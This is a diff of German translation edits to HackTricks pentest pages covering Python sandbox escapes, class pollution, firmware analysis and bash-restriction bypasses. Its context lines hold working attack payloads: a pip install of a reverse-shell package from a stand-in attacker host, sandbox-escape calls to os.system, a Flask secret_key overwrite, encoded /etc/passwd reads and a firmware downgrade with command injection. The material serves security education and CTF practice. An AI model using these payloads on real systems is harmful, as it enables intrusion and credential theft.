+Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie Folgendes aufrufen:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@@ -91,7 +91,7 @@ Reverse.tar (1).gz
 > [!WARNING]
 > Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator).
 
-Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
+Wenn bestimmte Zeichen verboten sind, können Sie die **hex/octal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
 ```
 ## Umgehung von Schutzmaßnahmen durch Kodierungen (UTF-7)
 
-In [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UTF-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
+In [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"
 
@@ -234,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Objekte mit [Metaklassen](https://docs.python.org/3/reference/datamodel.html#metaclasses) erstellen
 
-Das Wichtigste, was Metaklassen uns ermöglichen, ist **eine Instanz einer Klasse zu erstellen, ohne den Konstruktor** direkt aufzurufen, indem wir eine neue Klasse mit der Zielklasse als Metaklasse erstellen.
+Das Wesentliche, was Metaklassen uns ermöglichen, ist **eine Instanz einer Klasse zu erstellen, ohne den Konstruktor** direkt aufzurufen, indem wir eine neue Klasse mit der Zielklasse als Metaklasse erstellen.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@@ -304,8 +304,8 @@ pass
 ```
 ## Builtins
 
-- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
+- [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html)
-- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
+- [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html)
 
 Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
 ```python
@@ -317,7 +317,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
 Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
 Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen.
 
-In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **auf** **gefährliche** **Funktionalitäten** in ihnen zuzugreifen.
+In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module missbrauchen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**.
 
 **Python2**
 ```python
@@ -439,7 +439,7 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Gefährliche geladene Bibliotheken finden
 
-Zum Beispiel, wenn man weiß, dass man mit der Bibliothek **`sys`** **willkürliche Bibliotheken importieren** kann, kann man nach allen **Modulen suchen, die sys importiert haben**:
+Zum Beispiel, wenn man weiß, dass man mit der Bibliothek **`sys`** **willkürliche Bibliotheken importieren** kann, kann man nach allen **Modulen suchen, die sys darin importiert haben**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@@ -660,7 +660,7 @@ Sie können die Ausgabe dieses Skripts auf dieser Seite überprüfen:
 https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
 {{#endref}}
 
-## Python Format-String
+## Python Format String
 
 Wenn Sie eine **Zeichenkette** an Python senden, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um auf Globals oder Builtins zuzugreifen, zum Beispiel.
 ```python
@@ -684,9 +684,9 @@ get_name_for_avatar(st, people_obj = people)
 ```
 Beachten Sie, wie Sie **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und **Dictionärelemente** mit **Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen können.
 
-Beachten Sie auch, dass Sie `.__dict__` verwenden können, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Beachten Sie auch, dass Sie `.__dict__` verwenden können, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
 
-Einige andere interessante Eigenschaften von Formatstrings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt auszuführen, indem Sie **`!s`**, **`!r`**, **`!a`** jeweils hinzufügen:
+Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt auszuführen, indem Sie **`!s`**, **`!r`**, **`!a`** jeweils hinzufügen:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
@@ -798,7 +798,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals
 
-`__globals__` und `func_globals` (gleich) Erhält die globale Umgebung. Im Beispiel sehen Sie einige importierte Module, einige globale Variablen und deren deklarierten Inhalt:
+`__globals__` und `func_globals` (gleich) Erhält die globale Umgebung. Im Beispiel sehen Sie einige importierte Module, einige globale Variablen und deren Inhalt, die deklariert sind:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@@ -825,7 +825,7 @@ compile("print(5)", "", "single")
 dir(get_flag.__code__)
 ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
 ```
-### Informationen zum Code abrufen
+### Code-Information abrufen
 ```python
 # Another example
 s = '''
@@ -923,7 +923,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Kompilieren von Python
 
-Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion, die Sie nicht ausführen können, dumpen können**, aber Sie **müssen** sie **ausführen**.\
+Jetzt stellen wir uns vor, dass Sie irgendwie **Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\
 Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen der Disassemblierung **wissen Sie nicht, wie Sie das Flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
 ```python
 def get_flag(some_input):
@@ -939,7 +939,7 @@ return "Nope"
 ```
 ### Erstellen des Code-Objekts
 
-Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen:
+Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen, die geleakt wurde:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@@ -970,7 +970,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ### Rekreation einer geleakten Funktion
 
 > [!WARNING]
-> Im folgenden Beispiel werden wir alle Daten nehmen, die benötigt werden, um die Funktion direkt aus dem Funktions-Codeobjekt zu rekreieren. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken** müssen.
+> Im folgenden Beispiel werden wir alle Daten nehmen, die benötigt werden, um die Funktion direkt aus dem Funktions-Codeobjekt zu rekreieren. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken müssen**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@@ -983,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 ### Bypass Defenses
 
-In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen, **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
+In previous examples at the beginning of this post, you can see **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Dies ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
-Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion im CTF nicht haben).
+Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion in der CTF nicht haben).
 
-Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
+For example, let's compile and execute manually a function that reads _./poc.py_:
 ```python
 #Locally
 def read():
@@ -1036,7 +1036,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
 
 ### Assert
 
-Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeglichen Code, der vom Wert von **debug** abhängt.\
+Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeglichen Code, der von dem Wert von **debug** abhängt.\
 Daher sind Überprüfungen wie
 ```python
 def check_permission(super_user):

src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md

@@ -4,7 +4,7 @@
 
 ## Grundlegendes Beispiel
 
-Überprüfen Sie, wie es möglich ist, Klassen von Objekten mit Strings zu verschmutzen:
+Überprüfen Sie, wie es möglich ist, Klassen von Objekten mit Zeichenfolgen zu verschmutzen:
 ```python
 class Company: pass
 class Developer(Company): pass
@@ -225,8 +225,8 @@ execute() #> Executing echo Polluted
 
 <summary>Überschreiben des Flask-Geheimnisses über Dateien hinweg</summary>
 
-Wenn Sie also eine Klassenverschmutzung über ein Objekt durchführen können, das in der Haupt-Python-Datei der Webanwendung definiert ist, aber **dessen Klasse in einer anderen Datei** als der Hauptdatei definiert ist. Denn um auf \_\_globals\_\_ in den vorherigen Payloads zuzugreifen, müssen Sie auf die Klasse des Objekts oder die Methoden der Klasse zugreifen, werden Sie in der Lage sein, **auf die Globals in dieser Datei zuzugreifen, aber nicht in der Hauptdatei**. \
+Wenn Sie also eine Klassenverschmutzung über ein Objekt durchführen können, das in der Haupt-Python-Datei des Webs definiert ist, aber **dessen Klasse in einer anderen Datei** als der Hauptdatei definiert ist. Denn um auf \_\_globals\_\_ in den vorherigen Payloads zuzugreifen, müssen Sie auf die Klasse des Objekts oder die Methoden der Klasse zugreifen, werden Sie in der Lage sein, **auf die Globals in dieser Datei zuzugreifen, aber nicht in der Hauptdatei**. \
-Daher **werden Sie nicht in der Lage sein, auf das globale Flask-App-Objekt** zuzugreifen, das den **Geheimschlüssel** auf der Hauptseite definiert hat:
+Daher **werden Sie nicht auf das globale Flask-App-Objekt zugreifen können**, das den **Geheimschlüssel** auf der Hauptseite definiert:
 ```python
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
@@ -237,7 +237,7 @@ Eine Payload wie diese [aus diesem Bericht](https://ctftime.org/writeup/36082):
 ```python
 __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
 ```
-Verwenden Sie diese Payload, um **`app.secret_key`** zu ändern (der Name in Ihrer App könnte anders sein), um neue und privilegiertere Flask-Cookies signieren zu können.
+Verwenden Sie diese Payload, um **`app.secret_key`** zu ändern (der Name in Ihrer App könnte anders sein), um neue und privilegierte Flask-Cookies signieren zu können.
 
 </details>
 

src/hardware-physical-access/firmware-analysis/README.md

@@ -34,7 +34,7 @@ Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eig
 - **Direkt** von der Quelle (Entwickler, Hersteller)
 - **Bauen** aus bereitgestellten Anweisungen
 - **Herunterladen** von offiziellen Support-Seiten
-- Nutzung von **Google-Dork**-Abfragen, um gehostete Firmware-Dateien zu finden
+- Nutzung von **Google Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
 - Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
 - Abfangen von **Updates** über Man-in-the-Middle-Techniken
 - **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
@@ -117,9 +117,9 @@ Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".
 
 `$ ubidump.py <bin>`
 
-## Firmware analysieren
+## Firmware-Analyse
 
-Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Tools zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
+Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Werkzeuge zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
 
 ### Werkzeuge zur ersten Analyse
 
@@ -132,7 +132,7 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head #useful for finding signatures in the header
 fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
-Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
+Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Eine niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während eine hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
 
 Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
 
@@ -144,13 +144,13 @@ $ binwalk DIR850L_REVB.bin
 
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 ```
-Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
+Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) unterschiedliche Befehle verwendet, um die Inhalte manuell zu extrahieren.
 
 ### Dateisystemanalyse
 
-Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, hardcodierte Anmeldeinformationen, API-Endpunkte, Funktionen des Update-Servers, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
+Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, fest codierte Anmeldeinformationen, API-Endpunkte, Funktionen von Update-Servern, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
 
-**Wichtige Standorte** und **Elemente**, die zu inspizieren sind, umfassen:
+**Wichtige Standorte** und **Elemente**, die untersucht werden sollten, sind:
 
 - **etc/shadow** und **etc/passwd** für Benutzeranmeldeinformationen
 - SSL-Zertifikate und -Schlüssel in **etc/ssl**
@@ -170,7 +170,7 @@ Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden
 
 ## Emulation von Firmware für dynamische Analysen
 
-Der Prozess der Emulation von Firmware ermöglicht **dynamische Analysen** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
+Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
 
 ### Emulation einzelner Binärdateien
 
@@ -200,11 +200,11 @@ Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
 
 In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
 
-## Laufzeitanalysetechniken
+## Laufzeitanalyse-Techniken
 
-Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in ihrer Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
+Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in seiner Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
 
-## Binärausnutzung und Proof-of-Concept
+## Binär-Exploitation und Proof-of-Concept
 
 Die Entwicklung eines PoC für identifizierte Schwachstellen erfordert ein tiefes Verständnis der Zielarchitektur und Programmierung in niedrigeren Programmiersprachen. Binäre Laufzeitschutzmaßnahmen in eingebetteten Systemen sind selten, aber wenn sie vorhanden sind, können Techniken wie Return Oriented Programming (ROP) erforderlich sein.
 
@@ -217,17 +217,17 @@ Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS
 - [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
 - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
 
-## Firmware-Downgrade-Angriffe & unsichere Aktualisierungsmechanismen
+## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen
 
-Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, anfällige Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
+Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, verwundbare Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
 
 Typischer Angriffsablauf:
 
 1. **Erhalten Sie ein älteres signiertes Image**
 * Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
 * Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
-* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internet-Archiven, Foren usw.
+* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internetarchiven, Foren usw.
-2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über jeden exponierten Aktualisierungskanal:
+2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über einen beliebigen exponierten Aktualisierungskanal:
 * Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
 * Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig dekodieren und die Wiederherstellung/Aktualisierung auslösen.
 3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
@@ -240,7 +240,7 @@ Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärung eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.
+In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärmaßnahmen eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung wirkungslos.
 
 ### Extrahieren von Firmware aus mobilen Apps
 
@@ -283,7 +283,7 @@ Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folg
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
 
-## Training und Zertifizierung
+## Schulung und Zertifizierung
 
 - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
 

src/linux-hardening/bypass-bash-restrictions/README.md

@@ -114,7 +114,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
 ```bash
 bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
 ```
-### Bypass mit Hex-Codierung
+### Bypass mit Hex-Encoding
 ```bash
 echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
 cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@@ -145,7 +145,7 @@ Sie könnten **burpcollab** oder [**pingb**](http://pingb.in) verwenden, zum Bei
 ### Builtins
 
 Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht alle** der **Builtins** verwenden können, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
-Zuerst überprüfen Sie alle [**Shell-Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
+Zuerst überprüfen Sie alle [**Shell Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
 ```bash
 # Get list of builtins
 declare builtins
@@ -296,15 +296,13 @@ ln /f*
 ```
 ## Read-Only/Noexec/Distroless Bypass
 
-Wenn Sie sich in einem Dateisystem mit **read-only und noexec Schutzmaßnahmen** oder sogar in einem distroless Container befinden, gibt es dennoch Möglichkeiten, **willkürliche Binärdateien auszuführen, sogar eine Shell!:**
+Wenn Sie sich in einem Dateisystem mit **read-only und noexec Schutz** oder sogar in einem distroless Container befinden, gibt es dennoch Möglichkeiten, **willkürliche Binärdateien auszuführen, sogar eine Shell!:**
-
 
 {{#ref}}
 bypass-fs-protections-read-only-no-exec-distroless/
 {{#endref}}
 
-## Chroot & andere Jail-Bypässe
+## Chroot & andere Jails Bypass
-
 
 {{#ref}}
 ../privilege-escalation/escaping-from-limited-bash.md
@@ -312,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
 
 ## Space-Based Bash NOP Sled ("Bashsledding")
 
-Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht, an welcher genauen Offset-Ausführung Ihr Payload gelesen wird. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
+Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht den genauen Offset, an dem die Ausführung beginnt, Ihre Nutzlast zu lesen. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
 
 Daher können Sie einen *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
 ```bash

src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -26,7 +26,7 @@ securityContext:
 </strong>    command: ["sh", "-c", "while true; do sleep 1000; done"]
 </code></pre>
 
-Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm`** beschreibbar, sodass es nicht wahr ist, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass Sie hier eine Binärdatei herunterladen, aber **sie nicht ausführen können**.
